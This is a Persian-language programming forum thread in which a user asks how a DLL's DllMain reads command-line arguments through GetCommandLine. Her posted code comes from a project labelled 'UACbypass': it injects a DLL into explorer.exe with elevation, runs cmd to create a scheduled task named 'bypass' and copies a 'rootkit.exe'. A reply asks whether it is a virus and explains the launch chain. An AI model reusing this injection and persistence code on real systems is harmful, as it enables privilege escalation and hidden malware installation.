PDA

View Full Version : نحوه ارگومان گرفتن یه دی ال ال از پروسه جاری



fahimeh1512
جمعه 02 اسفند 1392, 21:38 عصر
با سلام
دوستان امکانش هست main یه برنامه اینجوری شروع بشه

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)


یا اینجوری

int main()

بعد یه دی ال ال به اگزه مون اتچ بشه و اینجوری از برنامه اصلی مون ارگومان بگیره؟


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
int argc = 0;

wchar_t **argv = CommandLineToArgvW(GetCommandLine(), &argc);

if (argc != 4)
{
.
.
.


مگه تابع GetCommandLine نباید ارگومان هایی رو بگیره که از طریق خط فرمان به main برنامه ارسال میشن؟
خب این main که ورودی نمیگیره چنین چیزی چطور ممکنه؟؟

infinity2
شنبه 03 اسفند 1392, 02:06 صبح
koodoom main?
main e avali ya dovomi?
age manzooret dovomias ino bayad begam ke oonam zamane compile be shekle main e ba parameter dar miad bad compile mishe

fahimeh1512
شنبه 03 اسفند 1392, 08:14 صبح
koodoom main?
main e avali ya dovomi?
age manzooret dovomias ino bayad begam ke oonam zamane compile be shekle main e ba parameter dar miad bad compile mishe

حالا شما _tWinMain رو درنظر بگیرین
مگه این از cmd ارگومان میگیره؟ که دی ال ال بتونه با فراخوانی اون تابع ارگومان ها رو به دست بیاره؟ _tWinMain که فایل اگزه ش با دابل کلیک شروع به اجرا میکنه
این ارگومان ها از کجا باید بیان پس؟؟

rahnema1
دوشنبه 05 اسفند 1392, 06:11 صبح
سلام، حتما که قرار نیست برنامه یا پروسس با دابل کلیک اجرا بشه ممکنه اون را از خط فرمان اجرا کنید یا یک شورت کات از برنامه درست کنید و پارامترهای خط فرمان را در اون بذارید یا اصلا با استفاده از تابع CreateProcess بخواهبد فایل exe را اجرا کنید

fahimeh1512
دوشنبه 05 اسفند 1392, 08:45 صبح
سلام، حتما که قرار نیست برنامه یا پروسس با دابل کلیک اجرا بشه ممکنه اون را از خط فرمان اجرا کنید یا یک شورت کات از برنامه درست کنید و پارامترهای خط فرمان را در اون بذارید یا اصلا با استفاده از تابع CreateProcess بخواهبد فایل exe را اجرا کنید
درسته اتفاقا تو دی ال ال داره از CreateProcess استفاده میکنه ولی میشه با توجه به این کد توضیح بدین
mainبرنامه:

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
W7EInject::AttemptOperation(NULL, true, true,explorer_id,L"explorer.exe"
, L"C:\\Windows\\System32\\cmd.exe"
, L"cmd /c SCHTASKS /Create /tn bypass /XML \"C:\\Users\\Fahimeh\\AppData\\Local\\Temp\\logon.xm l\" & copy \"C:\\Users\\Fahimeh\\Documents\\Visual Studio 2010\\Projects\\rootkit\\x64\\Release\\rootkit.exe \" \"C:\\Users\\Fahimeh\\Documents\\Visual Studio 2010\\Projects\" "
, L"C:\\Windows\\System32"
,L"D:\\project\\file(nasiri)\\alizade\\UACbypass\\x64 \\Release\\mydll.dll");
}

اینم دی ال ال:

case DLL_PROCESS_ATTACH:
{
int argc = 0;

wchar_t **argv = CommandLineToArgvW(GetCommandLine(), &argc);

wchar_t *szCmd = argv[1];
wchar_t *szDir = argv[2];
wchar_t *szArgs = argv[3];

STARTUPINFO startupInfo = {0};
startupInfo.cb = sizeof(startupInfo);
PROCESS_INFORMATION processInfo = {0};
CreateProcessW(szCmd, szArgs, NULL, NULL, FALSE, 0, NULL, szDir, &startupInfo, &processInfo))

نمیدونم تگ ها چی شدن؟ باید گزینه switch editor to source mode رو انتخاب میکردم؟ سایت رو دارین به روزرسانی میکنین خیلی خوبه ولی حداقل این کادری که باید توش پاسخ فوری بنویسیم رو هم بزرگتر میکردین اینجوری در حد چهار پنج خط که خیلی کوچیکه

fahimeh1512
دوشنبه 05 اسفند 1392, 08:50 صبح
ضمنا اعلان اون تابع هم این شکلیه

void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName,
const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName,
const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,
const wchar_t *szPathToOurDll)


ظاهرا دی ال ال از پارامترهای این تابع داره استفاده میکنه

rahnema1
دوشنبه 05 اسفند 1392, 11:36 صبح
ضمنا اعلان اون تابع هم این شکلیه void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName, const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName, const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir, const wchar_t *szPathToOurDll) ظاهرا دی ال ال از پارامترهای این تابع داره استفاده میکنهویروسه این؟ یک برنامه اجرایی به عنوان ویروس می خواهد اجرا بشه. که تابع WinMain که گذاشتید داخل اون هست. با پارامترهای commandline این ویروس در خط فرمان یا به طریقی دیگه اجرا می شه. سپس ویروس اجرا شده یک فایل دی ال ال را بار می کنه که کار این دی ال ال اینه که یک فایل ویروس دیگه را اجرا کنه و برای این کار پارامترهای کامند لاین را از برنامه ویروسی که اون را صدا زده می گیره و اونها را به عنوان پارامتر ورودی ویروس دوم قرار میده که ویروس دوم هم با استفاده از تابع CreateProcessW اجرا میشه ، موفق باشید